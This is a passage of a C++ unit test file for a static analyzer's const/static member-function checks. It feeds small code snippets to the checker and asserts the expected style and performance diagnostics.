TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n 